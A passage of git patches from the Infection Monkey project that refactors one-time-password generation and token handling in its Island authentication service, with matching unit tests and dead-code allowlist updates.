monkey/monkey_island/cc/services/authentication_service/otp/__init__.py create mode 100644 monkey/monkey_island/cc/services/authentication_service/otp/otp_generator.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py diff --git a/monkey/monkey_island/cc/services/authentication_service/otp/__init__.py b/monkey/monkey_island/cc/services/authentication_service/otp/__init__.py new file mode 100644 index 00000000000..4824fb6d111 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/otp/__init__.py @@ -0,0 +1 @@ +from .otp_generator import OTPGenerator, OTP_EXPIRATION_TIME diff --git a/monkey/monkey_island/cc/services/authentication_service/otp/otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/otp/otp_generator.py new file mode 100644 index 00000000000..01e35d8ac15 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/otp/otp_generator.py @@ -0,0 +1,32 @@ +import string +import time + +from common.utils.code_utils import secure_generate_random_string +from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository + +OTP_EXPIRATION_TIME = 2 * 60 + + +class OTPGenerator: + """ + Generates OTPs + """ + + def __init__(self, otp_repository: IOTPRepository): + self._otp_repository = otp_repository + + def generate_otp(self) -> str: + """ + Generates a new OTP + + The generated OTP is saved to the `IOTPRepository` + :return: The generated OTP + """ + otp_value = self._generate_otp() + expiration_time = time.monotonic() + OTP_EXPIRATION_TIME + self._otp_repository.insert_otp(otp_value, expiration_time) + + return otp_value + + def _generate_otp(self) -> str: + return secure_generate_random_string(32, string.ascii_letters + string.digits + "._-") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py new file mode 100644 index 00000000000..f731681c9be --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py @@ -0,0 +1,25 @@ +import time +from unittest.mock import MagicMock + +from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository +from monkey_island.cc.services.authentication_service.otp import OTP_EXPIRATION_TIME, OTPGenerator + + +def test_otp_generator__saves_otp(): + mock_otp_repository = MagicMock(spec=IOTPRepository) + + otp_generator = OTPGenerator(mock_otp_repository) + otp = otp_generator.generate_otp() + + assert mock_otp_repository.insert_otp.called_once_with(otp) + + +def test_otp_generator__uses_expected_expiration_time(freezer): + mock_otp_repository = MagicMock(spec=IOTPRepository) + otp_generator = OTPGenerator(mock_otp_repository) + + otp_generator.generate_otp() + + expiration_time = mock_otp_repository.insert_otp.call_args[0][1] + expected_expiration_time = time.monotonic() + OTP_EXPIRATION_TIME + assert expiration_time == expected_expiration_time From 708b18e764d4e6f04e944d9e57555309f4f937d6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 31 Mar 2023 19:51:57 +0000 Subject: [PATCH 1067/1338] Project: Add vulture entry for OTPGenerator --- vulture_allowlist.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index ada5d09ec1e..53c31131e31 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -24,6 +24,7 @@ MongoAgentEventRepository, MongoOTPRepository, ) +from monkey_island.cc.services.authentication_service.otp import OTPGenerator from monkey_island.cc.services.authentication_service.token import TokenValidator from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -160,3 +161,4 @@ IOTPRepository.get_expiration IOTPRepository.reset MongoOTPRepository +OTPGenerator.generate_otp From d99e5955f1672fb4c8de11f7061b24572017a87e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 20:18:36 +0000 Subject: [PATCH 1068/1338] Island: Move OTPGenerator into authentication_service --- .../cc/services/authentication_service/otp/__init__.py | 1 - .../authentication_service/{otp => }/otp_generator.py | 0 .../authentication_service/{otp => }/test_otp_generator.py | 5 ++++- 3 files changed, 4 insertions(+), 2 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/authentication_service/otp/__init__.py rename monkey/monkey_island/cc/services/authentication_service/{otp => }/otp_generator.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/{otp => }/test_otp_generator.py (86%) diff --git a/monkey/monkey_island/cc/services/authentication_service/otp/__init__.py b/monkey/monkey_island/cc/services/authentication_service/otp/__init__.py deleted file mode 100644 index 4824fb6d111..00000000000 --- a/monkey/monkey_island/cc/services/authentication_service/otp/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from .otp_generator import OTPGenerator, OTP_EXPIRATION_TIME diff --git a/monkey/monkey_island/cc/services/authentication_service/otp/otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/otp_generator.py similarity index 100% rename from monkey/monkey_island/cc/services/authentication_service/otp/otp_generator.py rename to monkey/monkey_island/cc/services/authentication_service/otp_generator.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py similarity index 86% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py index f731681c9be..00bfebe627c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/otp/test_otp_generator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py @@ -2,7 +2,10 @@ from unittest.mock import MagicMock from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository -from monkey_island.cc.services.authentication_service.otp import OTP_EXPIRATION_TIME, OTPGenerator +from monkey_island.cc.services.authentication_service.otp_generator import ( + OTP_EXPIRATION_TIME, + OTPGenerator, +) def test_otp_generator__saves_otp(): From 98916c63fdc385ee1bcac83bba0b33058dcba4f0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 20:39:50 +0000 Subject: [PATCH 1069/1338] Island: Move generate_otp to AuthenticationFacade --- .../authentication_facade.py | 24 ++++++++++++++++ .../authentication_service/otp_generator.py | 24 +++------------- .../test_authentication_service.py | 28 +++++++++++++++++++ .../test_otp_generator.py | 27 +++++------------- 4 files changed, 63 insertions(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 78abc37d3f7..a3f453b103a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,17 +1,23 @@ +import string +import time from typing import Tuple from flask_security import UserDatastore +from common.utils.code_utils import secure_generate_random_string from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator from . import AccountRole +from .i_otp_repository import IOTPRepository from .token_parser import ParsedToken, TokenParser from .types import Token from .user import User +OTP_EXPIRATION_TIME = 2 * 60 # 2 minutes + class AuthenticationFacade: """ @@ -25,12 +31,14 @@ def __init__( user_datastore: UserDatastore, token_generator: TokenGenerator, token_parser: TokenParser, + otp_repository: IOTPRepository, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue self._datastore = user_datastore self._token_generator = token_generator self._token_parser = token_parser + self._otp_repository = otp_repository def needs_registration(self) -> bool: """ @@ -71,6 +79,22 @@ def _get_refresh_token_owner(self, refresh_token: ParsedToken) -> User: raise Exception("Invalid refresh token") return user + def generate_otp(self) -> str: + """ + Generates a new OTP + + The generated OTP is saved to the `IOTPRepository` + :return: The generated OTP + """ + otp_value = self._generate_otp() + expiration_time = time.monotonic() + OTP_EXPIRATION_TIME + self._otp_repository.insert_otp(otp_value, expiration_time) + + return otp_value + + def _generate_otp(self) -> str: + return secure_generate_random_string(32, string.ascii_letters + string.digits + "._-") + def generate_refresh_token(self, user: User) -> Token: """ Generates a refresh token for a specific user diff --git a/monkey/monkey_island/cc/services/authentication_service/otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/otp_generator.py index 01e35d8ac15..64cf4b4fa5a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/otp_generator.py +++ b/monkey/monkey_island/cc/services/authentication_service/otp_generator.py @@ -1,10 +1,4 @@ -import string -import time - -from common.utils.code_utils import secure_generate_random_string -from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository - -OTP_EXPIRATION_TIME = 2 * 60 +from .authentication_facade import AuthenticationFacade class OTPGenerator: @@ -12,21 +6,11 @@ class OTPGenerator: Generates OTPs """ - def __init__(self, otp_repository: IOTPRepository): - self._otp_repository = otp_repository + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade def generate_otp(self) -> str: """ Generates a new OTP - - The generated OTP is saved to the `IOTPRepository` - :return: The generated OTP """ - otp_value = self._generate_otp() - expiration_time = time.monotonic() + OTP_EXPIRATION_TIME - self._otp_repository.insert_otp(otp_value, expiration_time) - - return otp_value - - def _generate_otp(self) -> str: - return secure_generate_random_string(32, string.ascii_letters + string.digits + "._-") + return self._authentication_facade.generate_otp() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index d70d901f78d..5a25d706d10 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -1,3 +1,4 @@ +import time from unittest.mock import MagicMock, call import pytest @@ -8,8 +9,10 @@ from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.authentication_facade import ( + OTP_EXPIRATION_TIME, AuthenticationFacade, ) +from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository from monkey_island.cc.services.authentication_service.setup import setup_authentication from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator from monkey_island.cc.services.authentication_service.token_parser import ( @@ -58,6 +61,11 @@ def mock_token_parser() -> TokenParser: return MagicMock(spec=TokenParser) +@pytest.fixture +def mock_otp_repository() -> IOTPRepository: + return MagicMock(spec=IOTPRepository) + + @pytest.fixture def authentication_facade( mock_flask_app, @@ -66,6 +74,7 @@ def authentication_facade( mock_user_datastore: UserDatastore, mock_token_generator: TokenGenerator, mock_token_parser: TokenParser, + mock_otp_repository: IOTPRepository, ) -> AuthenticationFacade: return AuthenticationFacade( mock_repository_encryptor, @@ -73,6 +82,7 @@ def authentication_facade( mock_user_datastore, mock_token_generator, mock_token_parser, + mock_otp_repository, ) @@ -178,6 +188,24 @@ def test_revoke_all_tokens_for_all_users( [mock_user_datastore.set_uniquifier.assert_any_call(user) for user in USERS] +def test_generate_otp__saves_otp( + authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository +): + otp = authentication_facade.generate_otp() + + assert mock_otp_repository.insert_otp.called_once_with(otp) + + +def test_generate_otp__uses_expected_expiration_time( + freezer, authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository +): + authentication_facade.generate_otp() + + expiration_time = mock_otp_repository.insert_otp.call_args[0][1] + expected_expiration_time = time.monotonic() + OTP_EXPIRATION_TIME + assert expiration_time == expected_expiration_time + + def test_setup_authentication__revokes_tokens( mock_island_event_queue: IIslandEventQueue, mock_repository_encryptor: ILockableEncryptor, diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py index 00bfebe627c..ec7bd648b3c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py @@ -1,28 +1,15 @@ -import time from unittest.mock import MagicMock -from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository -from monkey_island.cc.services.authentication_service.otp_generator import ( - OTP_EXPIRATION_TIME, - OTPGenerator, +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, ) +from monkey_island.cc.services.authentication_service.otp_generator import OTPGenerator -def test_otp_generator__saves_otp(): - mock_otp_repository = MagicMock(spec=IOTPRepository) - - otp_generator = OTPGenerator(mock_otp_repository) - otp = otp_generator.generate_otp() - - assert mock_otp_repository.insert_otp.called_once_with(otp) - - -def test_otp_generator__uses_expected_expiration_time(freezer): - mock_otp_repository = MagicMock(spec=IOTPRepository) - otp_generator = OTPGenerator(mock_otp_repository) +def test_otp_generator__generates_otp(): + mock_authentication_facade = MagicMock(spec=AuthenticationFacade) + otp_generator = OTPGenerator(mock_authentication_facade) otp_generator.generate_otp() - expiration_time = mock_otp_repository.insert_otp.call_args[0][1] - expected_expiration_time = time.monotonic() + OTP_EXPIRATION_TIME - assert expiration_time == expected_expiration_time + assert mock_authentication_facade.generate_otp.called_once From 92be83ede858b55694a3c27a6b2e5805f6ba96e0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 12:19:52 +0200 Subject: [PATCH 1070/1338] Island: Add IOTPGenerator to authentication serivce --- .../authentication_service/i_otp_generator.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py new file mode 100644 index 00000000000..caa1b93ade9 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py @@ -0,0 +1,13 @@ +from abc import ABC, abstractmethod + +from .types import OTP + + +class IOTPGenerator(ABC): + """Generator for OTPs""" + + @abstractmethod + def generate_otp(self) -> OTP: + """ + Generates a new OTP + """ From aba7bbe900156f94f7f68ccd234c187e6f4fa4c4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 12:24:21 +0200 Subject: [PATCH 1071/1338] Island: Implement IOTPGenerator under concrete AuthenticationOTPGenerator --- .../{otp_generator.py => authentication_otp_generator.py} | 6 ++++-- ...tp_generator.py => test_authentication_otp_generator.py} | 6 +++--- 2 files changed, 7 insertions(+), 5 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/{otp_generator.py => authentication_otp_generator.py} (69%) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/{test_otp_generator.py => test_authentication_otp_generator.py} (59%) diff --git a/monkey/monkey_island/cc/services/authentication_service/otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/authentication_otp_generator.py similarity index 69% rename from monkey/monkey_island/cc/services/authentication_service/otp_generator.py rename to monkey/monkey_island/cc/services/authentication_service/authentication_otp_generator.py index 64cf4b4fa5a..df9eff14a3b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/otp_generator.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_otp_generator.py @@ -1,7 +1,9 @@ from .authentication_facade import AuthenticationFacade +from .i_otp_generator import IOTPGenerator +from .types import OTP -class OTPGenerator: +class AuthenticationOTPGenerator(IOTPGenerator): """ Generates OTPs """ @@ -9,7 +11,7 @@ class OTPGenerator: def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade - def generate_otp(self) -> str: + def generate_otp(self) -> OTP: """ Generates a new OTP """ diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_otp_generator.py similarity index 59% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_otp_generator.py index ec7bd648b3c..4f8cfdc1d31 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_otp_generator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_otp_generator.py @@ -1,15 +1,15 @@ from unittest.mock import MagicMock +from monkey_island.cc.services.authentication_service import AuthenticationOTPGenerator from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) -from monkey_island.cc.services.authentication_service.otp_generator import OTPGenerator -def test_otp_generator__generates_otp(): +def test_authentication_otp_generator__generates_otp(): mock_authentication_facade = MagicMock(spec=AuthenticationFacade) - otp_generator = OTPGenerator(mock_authentication_facade) + otp_generator = AuthenticationOTPGenerator(mock_authentication_facade) otp_generator.generate_otp() assert mock_authentication_facade.generate_otp.called_once From c731db307160960943d363e0c40eceab206c921d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 12:38:47 +0200 Subject: [PATCH 1072/1338] Island: Export IOTPGenerator and AuthenticationOTPGenerator from __init__ --- .../cc/services/authentication_service/__init__.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index 586049312fd..f654b6db01c 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -2,3 +2,6 @@ from .flask_resources import register_resources from .setup import setup_authentication + +from .i_otp_generator import IOTPGenerator +from .authentication_otp_generator import AuthenticationOTPGenerator From 711153cbfa3589f288bbf03549b8ccffc0889981 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 12:39:23 +0200 Subject: [PATCH 1073/1338] Island: Merge AuthenticationFacade._generate_otp into the public method --- .../authentication_facade.py | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index a3f453b103a..8164ba09534 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -13,7 +13,7 @@ from . import AccountRole from .i_otp_repository import IOTPRepository from .token_parser import ParsedToken, TokenParser -from .types import Token +from .types import OTP, Token from .user import User OTP_EXPIRATION_TIME = 2 * 60 # 2 minutes @@ -79,21 +79,17 @@ def _get_refresh_token_owner(self, refresh_token: ParsedToken) -> User: raise Exception("Invalid refresh token") return user - def generate_otp(self) -> str: + def generate_otp(self) -> OTP: """ Generates a new OTP The generated OTP is saved to the `IOTPRepository` - :return: The generated OTP """ - otp_value = self._generate_otp() + otp = secure_generate_random_string(32, string.ascii_letters + string.digits + "._-") expiration_time = time.monotonic() + OTP_EXPIRATION_TIME - self._otp_repository.insert_otp(otp_value, expiration_time) + self._otp_repository.insert_otp(otp, expiration_time) - return otp_value - - def _generate_otp(self) -> str: - return secure_generate_random_string(32, string.ascii_letters + string.digits + "._-") + return otp def generate_refresh_token(self, user: User) -> Token: """ From 2abdf2420b323cf3aba42f3f35b7efa8e97baa6f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 12:59:00 +0200 Subject: [PATCH 1074/1338] Project: Add AuthenticationOTPGenerator to vulture_allowlist --- vulture_allowlist.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 53c31131e31..a76545af8fd 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -24,7 +24,7 @@ MongoAgentEventRepository, MongoOTPRepository, ) -from monkey_island.cc.services.authentication_service.otp import OTPGenerator +from monkey_island.cc.services.authentication_service import AuthenticationOTPGenerator from monkey_island.cc.services.authentication_service.token import TokenValidator from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -161,4 +161,4 @@ IOTPRepository.get_expiration IOTPRepository.reset MongoOTPRepository -OTPGenerator.generate_otp +AuthenticationOTPGenerator.generate_otp From 445e3dcb93e49bc31b8071b176c5aa3000b90fe3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 13:19:13 +0200 Subject: [PATCH 1075/1338] Island: Rename AuthenticationOTPGenerator to AuthenticationServiceOTPGenerator --- .../cc/services/authentication_service/__init__.py | 2 +- ...generator.py => authentication_service_otp_generator.py} | 2 +- ...ator.py => test_authentication_service_otp_generator.py} | 6 +++--- vulture_allowlist.py | 4 ++-- 4 files changed, 7 insertions(+), 7 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/{authentication_otp_generator.py => authentication_service_otp_generator.py} (88%) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/{test_authentication_otp_generator.py => test_authentication_service_otp_generator.py} (68%) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index f654b6db01c..e43a94bf8dc 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -4,4 +4,4 @@ from .setup import setup_authentication from .i_otp_generator import IOTPGenerator -from .authentication_otp_generator import AuthenticationOTPGenerator +from .authentication_service_otp_generator import AuthenticationServiceOTPGenerator diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py similarity index 88% rename from monkey/monkey_island/cc/services/authentication_service/authentication_otp_generator.py rename to monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py index df9eff14a3b..438c3f2e187 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_otp_generator.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py @@ -3,7 +3,7 @@ from .types import OTP -class AuthenticationOTPGenerator(IOTPGenerator): +class AuthenticationServiceOTPGenerator(IOTPGenerator): """ Generates OTPs """ diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_otp_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py similarity index 68% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_otp_generator.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py index 4f8cfdc1d31..48d2117bef3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_otp_generator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py @@ -1,15 +1,15 @@ from unittest.mock import MagicMock -from monkey_island.cc.services.authentication_service import AuthenticationOTPGenerator +from monkey_island.cc.services.authentication_service import AuthenticationServiceOTPGenerator from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) -def test_authentication_otp_generator__generates_otp(): +def test_authentication_service_otp_generator__generates_otp(): mock_authentication_facade = MagicMock(spec=AuthenticationFacade) - otp_generator = AuthenticationOTPGenerator(mock_authentication_facade) + otp_generator = AuthenticationServiceOTPGenerator(mock_authentication_facade) otp_generator.generate_otp() assert mock_authentication_facade.generate_otp.called_once diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a76545af8fd..12eaa59d463 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -24,7 +24,7 @@ MongoAgentEventRepository, MongoOTPRepository, ) -from monkey_island.cc.services.authentication_service import AuthenticationOTPGenerator +from monkey_island.cc.services.authentication_service import AuthenticationServiceOTPGenerator from monkey_island.cc.services.authentication_service.token import TokenValidator from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -161,4 +161,4 @@ IOTPRepository.get_expiration IOTPRepository.reset MongoOTPRepository -AuthenticationOTPGenerator.generate_otp +AuthenticationServiceOTPGenerator.generate_otp From ccab32ec374db9fff77f04cb8f954de84e5a51fb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 11:58:52 +0200 Subject: [PATCH 1076/1338] Project: Clear stale vulture entries --- vulture_allowlist.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 12eaa59d463..34fd30bd317 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -14,7 +14,6 @@ from infection_monkey.exploit.tools import secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell -from infection_monkey.island_api_client import http_island_api_client from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import IslandMode, Machine @@ -25,7 +24,6 @@ MongoOTPRepository, ) from monkey_island.cc.services.authentication_service import AuthenticationServiceOTPGenerator -from monkey_island.cc.services.authentication_service.token import TokenValidator from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -147,15 +145,6 @@ secret_type_filter -# Remove after #3077 -http_island_api_client.get_otp -IslandAPIAgentOTPProvider -AGENT_OTP_ENVIRONMENT_VARIABLE - -# Remove after #3137 -TokenValidator.validate_token -_refresh_token_validator - # Remove after #3078 IOTPRepository.insert_otp IOTPRepository.get_expiration From 9417ab476deba688156c5714b3d084605410a6cc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Apr 2023 13:45:39 +0200 Subject: [PATCH 1077/1338] Agent: Fix refresh authentication token url --- .../island_api_client/http_island_api_client.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 22685fb06fa..a3581542e83 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -101,7 +101,9 @@ def _update_tokens_from_response(self, response: Response): @handle_response_parsing_errors def refresh_tokens(self): - response = self._http_client.post("/token", {REFRESH_TOKEN_KEY_NAME: self._refresh_token}) + response = self._http_client.post( + "/refresh-authentication-token", {REFRESH_TOKEN_KEY_NAME: self._refresh_token} + ) self._update_tokens_from_response(response) @handle_authentication_token_expiration From 6f9a2eaf7e135bb959dc27b5d866f2a58950d7fc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 4 Apr 2023 18:21:59 +0530 Subject: [PATCH 1078/1338] Island: Create MongoOTPRepository and pass to AuthenticationFacade Issue: #3078 PR: #3193 --- monkey/monkey_island/cc/app.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 352e51dccde..0551b497217 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,6 +44,7 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) +from monkey_island.cc.services.authentication_service.mongo_otp_repository import MongoOTPRepository from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator from monkey_island.cc.services.authentication_service.token_parser import TokenParser from monkey_island.cc.services.representations import output_json @@ -177,4 +178,5 @@ def _build_authentication_facade(container: DIContainer, security: Security): security.datastore, token_generator, token_parser, + container.resolve(MongoOTPRepository), ) From 18c395952ddd4e68e5cd62649c7498bbc3d1faa0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 20:57:10 +0000 Subject: [PATCH 1079/1338] Island: Move construction of AuthenicationFacade --- monkey/monkey_island/cc/app.py | 39 +---------------- .../services/authentication_service/setup.py | 42 ++++++++++++++++++- .../test_authentication_service.py | 36 +++++++++++++--- 3 files changed, 73 insertions(+), 44 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 0551b497217..c4ba3e4fabc 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,11 +3,9 @@ import flask_restful from flask import Flask, Response, send_from_directory -from flask_security import Security from werkzeug.exceptions import NotFound from common import DIContainer -from monkey_island.cc.event_queue import IIslandEventQueue from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.resources import ( AgentBinaries, @@ -36,17 +34,7 @@ from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.version import Version from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services import register_agent_configuration_resources, setup_authentication -from monkey_island.cc.services.authentication_service.authentication_facade import ( - AuthenticationFacade, -) -from monkey_island.cc.services.authentication_service.configure_flask_security import ( - configure_flask_security, -) -from monkey_island.cc.services.authentication_service.mongo_otp_repository import MongoOTPRepository -from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator -from monkey_island.cc.services.authentication_service.token_parser import TokenParser from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -139,7 +127,7 @@ def init_app( data_dir: Path, ): """ - Simple docstirng for init_app + Simple docstring for init_app :param mongo_url: A url :param container: Dependency injection container @@ -152,31 +140,8 @@ def init_app( init_app_config(app) init_app_url_rules(app) + setup_authentication(api, app, container, data_dir) flask_resource_manager = FlaskDIWrapper(api, container) - datastore = configure_flask_security(app, data_dir) - authentication_facade = _build_authentication_facade(container, datastore) - setup_authentication(api, authentication_facade) init_api_resources(flask_resource_manager) return app - - -def _build_authentication_facade(container: DIContainer, security: Security): - repository_encryptor = container.resolve(ILockableEncryptor) - island_event_queue = container.resolve(IIslandEventQueue) - - token_generator = TokenGenerator(security) - refresh_token_expiration 